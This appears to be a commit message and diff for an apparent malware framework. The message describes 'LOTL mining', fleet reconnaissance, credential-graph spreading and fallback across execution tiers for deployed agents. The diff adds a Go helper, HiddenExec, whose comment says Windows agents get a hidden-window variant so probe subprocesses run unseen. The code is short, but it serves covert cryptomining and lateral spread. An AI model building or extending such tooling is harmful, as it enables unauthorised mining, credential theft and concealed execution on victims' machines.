Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/vulnprobe/exec.go

@@ -0,0 +1,8 @@
+package vulnprobe
+
+import "os/exec"
+
+// HiddenExec runs LOTL probe subprocesses. deploy wires HiddenCombinedOutput on Windows agents.
+var HiddenExec = func(name string, arg ...string) ([]byte, error) {
+	return exec.Command(name, arg...).CombinedOutput()
+}